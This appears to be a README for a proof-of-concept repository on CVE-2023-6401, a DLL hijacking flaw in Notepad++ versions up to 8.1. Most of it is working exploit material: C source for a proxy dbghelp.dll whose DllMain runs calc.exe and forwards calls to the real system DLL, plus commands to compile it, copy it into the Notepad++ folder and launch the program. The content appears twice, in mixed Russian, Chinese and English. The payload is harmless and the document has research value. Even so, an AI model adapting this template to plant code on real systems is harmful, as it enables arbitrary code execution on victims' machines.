
CVE-2023-6401 — это уязвимость перехвата DLL, которая позволяет злоумышленникам выполнять произвольный код, размещая вредоносный файл `dbghelp.dll` в каталоге приложения. Этот проект демонстрирует уязвимость и предоставляет воспроизводимый PoC.
⚠️ Важное заявление: только для исследований в области безопасности и образовательных целей
Доказательство концепции уязвимости подмены DLL в NotePad++ ≤ 8.1. Выполнение произвольного кода путём размещения вредоносного dbghelp.dll в каталоге приложения.
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
Ожидаемый результат: всплывает калькулятор + отображается окно сообщения + NotePad++ запускается нормально

| Поле | Сведения |
|---|---|
| Номер CVE | CVE-2023-6401 |
| Затронутые версии | NotePad++ ≤ 8.1 |
| Тип уязвимости | Подмена DLL / Перехват порядка поиска |
| Воздействие | Выполнение произвольного кода |
| Предварительное условие | Право на запись в каталог приложения |
Windows загружает DLL в следующем порядке:
При запуске NotePad++ загружает dbghelp.dll. Разместив вредоносную DLL с тем же именем в каталоге приложения, можно выполнить код до загрузки системной DLL.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
Данный проект предназначен только для образовательных целей и исследований в области безопасности. Пользователи несут полную ответственность за соблюдение применимых законов и нормативных актов.
⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ: Только для исследований в области безопасности и образовательных целей
Доказательство концепции уязвимости подмены DLL в NotePad++ ≤ 8.1. Выполнение произвольного кода путём размещения вредоносного dbghelp.dll в каталоге приложения.
# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Navigate to project directory
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Execute test
"C:\Program Files\Notepad++\notepad++.exe"
# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"
Ожидаемый результат: всплывает калькулятор + отображается окно сообщения + NotePad++ запускается в обычном режиме

| Поле | Сведения |
|---|---|
| Номер CVE | CVE-2023-6401 |
| Затронутые версии | NotePad++ ≤ 8.1 |
| Тип уязвимости | Подмена DLL / Перехват порядка поиска |
| Воздействие | Выполнение произвольного кода |
| Предварительные условия | Право на запись в каталог приложения |
Windows загружает DLL в следующем порядке:
NotePad++ загружает dbghelp.dll при запуске. Разместив вредоносную DLL с тем же именем в каталоге приложения, можно выполнить код до загрузки системной DLL.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
Этот проект предназначен только для образовательных целей и исследований в области безопасности. Пользователи несут исключительную ответственность за соблюдение применимых законов и нормативных актов.